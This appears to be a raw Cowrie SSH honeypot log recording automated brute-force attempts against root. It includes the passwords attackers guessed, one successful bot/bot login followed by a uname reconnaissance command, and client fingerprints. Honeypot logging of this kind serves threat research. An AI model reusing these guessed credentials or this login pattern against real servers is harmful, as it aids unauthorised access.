{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:d3:f4:78:ee:2b:82:44:42:33:78:dd:0a:4b:df:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfNmKG3x1I8oGaTY11TMLOkDZ8tatmZk2vRu7wqcXvKdq0dufI8HjxEYLrFDLqRD9ET9oAEDvDCH4EjiUiVhiAdEm6Sz1Fl3AYXGP//VmHan6gtKS3yOPuIW+ApIajk8Sm7RMWXz9H3Xs8lsJayHkjgfKzQLpEbRl5cErgXtI4M4xNKT5iI4IRdoxt5dUgxoZphu3jTw4UE6nmbPR6t3x3ycgxrmD2zfKlCouuSE776Ja3tNjUtCXa2n7rNHrbpuMTRMf6OzECXf3Sxjnm5W7XaLBdeyjn5WN0boYcCFwy4Lug4rFLVP9Tc+mL8r/Uk81sSG6KZ5AdIzw9jo8Z/X/h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:d3:f4:78:ee:2b:82:44:42:33:78:dd:0a:4b:df:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.760313Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:d3:f4:78:ee:2b:82:44:42:33:78:dd:0a:4b:df:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfNmKG3x1I8oGaTY11TMLOkDZ8tatmZk2vRu7wqcXvKdq0dufI8HjxEYLrFDLqRD9ET9oAEDvDCH4EjiUiVhiAdEm6Sz1Fl3AYXGP//VmHan6gtKS3yOPuIW+ApIajk8Sm7RMWXz9H3Xs8lsJayHkjgfKzQLpEbRl5cErgXtI4M4xNKT5iI4IRdoxt5dUgxoZphu3jTw4UE6nmbPR6t3x3ycgxrmD2zfKlCouuSE776Ja3tNjUtCXa2n7rNHrbpuMTRMf6OzECXf3Sxjnm5W7XaLBdeyjn5WN0boYcCFwy4Lug4rFLVP9Tc+mL8r/Uk81sSG6KZ5AdIzw9jo8Z/X/h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.764072Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:75:95:39:63:37:4b:d2:10:14:b8:8f:7a:12:7a:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf1xuRAIhX92O1/KJq7dHj9gjxaB+YkO/UxwDdvpjoH/5UW3cH9V+lclNb6h9xG3PkzikqTqajAiwRCVoMUcAz9HWWHVScvBejVis7qRSOLnNb6Byveoo/bgNq3r+lOinwcFN6NGw0Lzi96uo2lBNx/Wnu4xe/ta9+jc5oYGDiofgNmNk4AQRVamMp1qExo9zt2MbEgmUVZ5GsRDGngmV00NCv7HQnzo3Ewdqrp37KrgYmGL5hHiYa28XC+qU/+t8W/y8iKxGDKQTlpdOAa9rvTlCEY09m/aO0UcVD5N1zRtsD6SIV8I/GkjI++LH/8ivj3TNeV4Cbe4ZvXAKfnz5H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:75:95:39:63:37:4b:d2:10:14:b8:8f:7a:12:7a:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.796740Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:75:95:39:63:37:4b:d2:10:14:b8:8f:7a:12:7a:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf1xuRAIhX92O1/KJq7dHj9gjxaB+YkO/UxwDdvpjoH/5UW3cH9V+lclNb6h9xG3PkzikqTqajAiwRCVoMUcAz9HWWHVScvBejVis7qRSOLnNb6Byveoo/bgNq3r+lOinwcFN6NGw0Lzi96uo2lBNx/Wnu4xe/ta9+jc5oYGDiofgNmNk4AQRVamMp1qExo9zt2MbEgmUVZ5GsRDGngmV00NCv7HQnzo3Ewdqrp37KrgYmGL5hHiYa28XC+qU/+t8W/y8iKxGDKQTlpdOAa9rvTlCEY09m/aO0UcVD5N1zRtsD6SIV8I/GkjI++LH/8ivj3TNeV4Cbe4ZvXAKfnz5H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.800788Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:a8:72:8b:4f:12:a3:a1:43:65:97:7c:a6:10:f5:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1lWHPJlRCvR8m6Vp9KvaZAYctM29O/0qgX3ckHHcWOi0hPF418SFaMQxy8rOVbhfLaaasgzR4UePaikj5uJruPrlACI6K4Lh0sZe9f86kggAV+oTm7DTwxRm7Zp8QmsVsvghGSyjYVffF6Qv5dQ9zB5apgBPgU8bMkgbAMInVfpsN6PJEv9kMLlufb2UlSQIp94pSfIpB9zvya2nCNMW0Q/AXEMpIGTCENTDIdb56RWPtFS32YjI0L3q5R3gRH9Vkb/ClYENp265fXOOkfrIQoorAq55awsGqc05aZPxWuAp1kTvWNYTWBxgeG+M+1ZYjJgv3OjmdTBX1/oahc/2r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:a8:72:8b:4f:12:a3:a1:43:65:97:7c:a6:10:f5:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.829905Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:a8:72:8b:4f:12:a3:a1:43:65:97:7c:a6:10:f5:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1lWHPJlRCvR8m6Vp9KvaZAYctM29O/0qgX3ckHHcWOi0hPF418SFaMQxy8rOVbhfLaaasgzR4UePaikj5uJruPrlACI6K4Lh0sZe9f86kggAV+oTm7DTwxRm7Zp8QmsVsvghGSyjYVffF6Qv5dQ9zB5apgBPgU8bMkgbAMInVfpsN6PJEv9kMLlufb2UlSQIp94pSfIpB9zvya2nCNMW0Q/AXEMpIGTCENTDIdb56RWPtFS32YjI0L3q5R3gRH9Vkb/ClYENp265fXOOkfrIQoorAq55awsGqc05aZPxWuAp1kTvWNYTWBxgeG+M+1ZYjJgv3OjmdTBX1/oahc/2r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.834583Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:4e:86:41:d6:19:91:64:64:db:0b:6c:6a:4a:67:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCArQDQ2OrRKjpyP1D3GEz3iSBlh6iuHNHiwpQDLtS0lL1wOMiWnYqdhxjac27c0XbGJRfDP8B6rxloT2KJSiDDre8ohLcoquPu3GxnVfdaJLSKVQg5UgJVnHtN3RePSKU9EbEsNgYg1VIWvYJ5F8His+CNL9CD0Rr7VSfWQDvGxTzS/5TkGp3NAP+5A8kZTOkD2jDHgcFBnEOGmrfrnyAupg++PGoZMueOAcZRZyufbMz0yW2kEzwMKjQwi5yXAw+cwIyNi63p6tpsoKLSqDk1j4L0xvE3gh7Ph4SACxb0hwlLktLexTDZ426Ox/XA1tUMlgxx55hQobLUvZ8WUR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:4e:86:41:d6:19:91:64:64:db:0b:6c:6a:4a:67:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.863432Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:4e:86:41:d6:19:91:64:64:db:0b:6c:6a:4a:67:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCArQDQ2OrRKjpyP1D3GEz3iSBlh6iuHNHiwpQDLtS0lL1wOMiWnYqdhxjac27c0XbGJRfDP8B6rxloT2KJSiDDre8ohLcoquPu3GxnVfdaJLSKVQg5UgJVnHtN3RePSKU9EbEsNgYg1VIWvYJ5F8His+CNL9CD0Rr7VSfWQDvGxTzS/5TkGp3NAP+5A8kZTOkD2jDHgcFBnEOGmrfrnyAupg++PGoZMueOAcZRZyufbMz0yW2kEzwMKjQwi5yXAw+cwIyNi63p6tpsoKLSqDk1j4L0xvE3gh7Ph4SACxb0hwlLktLexTDZ426Ox/XA1tUMlgxx55hQobLUvZ8WUR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.867832Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:16:95:4a:41:f3:1b:ac:d0:69:43:6c:ec:68:e4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApZNaoKybk1FkUp7WjfaJyLw7WzUhIMmmo28rMNaZwo4CbbRreKbXDOkbwM/PiZbx/4MSI0dpk7rRIZpDT605f97GkE69GN09C2D94pXHX/31Qm6LcR2UTv/XuNh+4yJa+4ZWeeL7f6DTALYvoU5llRdaHDbGksnmOGvetkWBgv/494dU0XtwthVMwDcSX2Jr8ESkMkBgU0lLmEIYz2++SXP5W5M/7BVjFvUoX0h2CKigrgLj9D/gpflfgjwfuX7HtBSc/uTJ+Yl5ypF3tMMC4oV8yGuKs/hZFYI4ONLFyYIpZ9xNLWeuUuAWHKgqWJjIgTBxHQ/RBRw7dN8WVTFP8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:16:95:4a:41:f3:1b:ac:d0:69:43:6c:ec:68:e4:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.898475Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:16:95:4a:41:f3:1b:ac:d0:69:43:6c:ec:68:e4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApZNaoKybk1FkUp7WjfaJyLw7WzUhIMmmo28rMNaZwo4CbbRreKbXDOkbwM/PiZbx/4MSI0dpk7rRIZpDT605f97GkE69GN09C2D94pXHX/31Qm6LcR2UTv/XuNh+4yJa+4ZWeeL7f6DTALYvoU5llRdaHDbGksnmOGvetkWBgv/494dU0XtwthVMwDcSX2Jr8ESkMkBgU0lLmEIYz2++SXP5W5M/7BVjFvUoX0h2CKigrgLj9D/gpflfgjwfuX7HtBSc/uTJ+Yl5ypF3tMMC4oV8yGuKs/hZFYI4ONLFyYIpZ9xNLWeuUuAWHKgqWJjIgTBxHQ/RBRw7dN8WVTFP8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.903227Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.932661Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shadowfiend","message":"login attempt [root/Shadowfiend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:20.056717Z","src_ip":"213.209.159.158","session":"ef1756411643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:23.362083Z","src_ip":"213.209.159.158","session":"ef1756411643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21212,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05c0510f24c","protocol":"ssh","message":"New connection: 213.209.159.158:21212 (10.17.0.5:22) [session: a05c0510f24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:23.443506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:26.066734Z","src_ip":"213.209.159.158","session":"a05c0510f24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:26.071602Z","src_ip":"213.209.159.158","session":"a05c0510f24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexy15","message":"login attempt [root/sexy15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:35.885242Z","src_ip":"213.209.159.158","session":"a05c0510f24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:39.736948Z","src_ip":"213.209.159.158","session":"a05c0510f24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27312,"dst_ip":"10.17.0.5","dst_port":22,"session":"b587830f93d1","protocol":"ssh","message":"New connection: 213.209.159.158:27312 (10.17.0.5:22) [session: b587830f93d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:39.821436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:42.133584Z","src_ip":"213.209.159.158","session":"b587830f93d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:42.137128Z","src_ip":"213.209.159.158","session":"b587830f93d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SHwj2024!!","message":"login attempt [root/SHwj2024!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:52.064744Z","src_ip":"213.209.159.158","session":"b587830f93d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:55.398505Z","src_ip":"213.209.159.158","session":"b587830f93d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6842,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a986ff100c5","protocol":"ssh","message":"New connection: 213.209.159.158:6842 (10.17.0.5:22) [session: 1a986ff100c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:55.478630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:57.757164Z","src_ip":"213.209.159.158","session":"1a986ff100c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:57.761908Z","src_ip":"213.209.159.158","session":"1a986ff100c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexuel","message":"login attempt [root/sexuel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:07.967574Z","src_ip":"213.209.159.158","session":"1a986ff100c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35538,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dcc61bff183","protocol":"ssh","message":"New connection: 2.57.122.208:35538 (10.17.0.5:22) [session: 3dcc61bff183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:09.032484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:09.123777Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:09.477754Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:10.127164Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:10.682239Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:10.685664Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:10.927882Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:10.933841Z","src_ip":"2.57.122.208","session":"3dcc61bff183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:11.300615Z","src_ip":"213.209.159.158","session":"1a986ff100c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45062,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c52697416c9","protocol":"ssh","message":"New connection: 213.209.159.158:45062 (10.17.0.5:22) [session: 2c52697416c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:11.379605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:14.057571Z","src_ip":"213.209.159.158","session":"2c52697416c9","protocol":"ssh"}
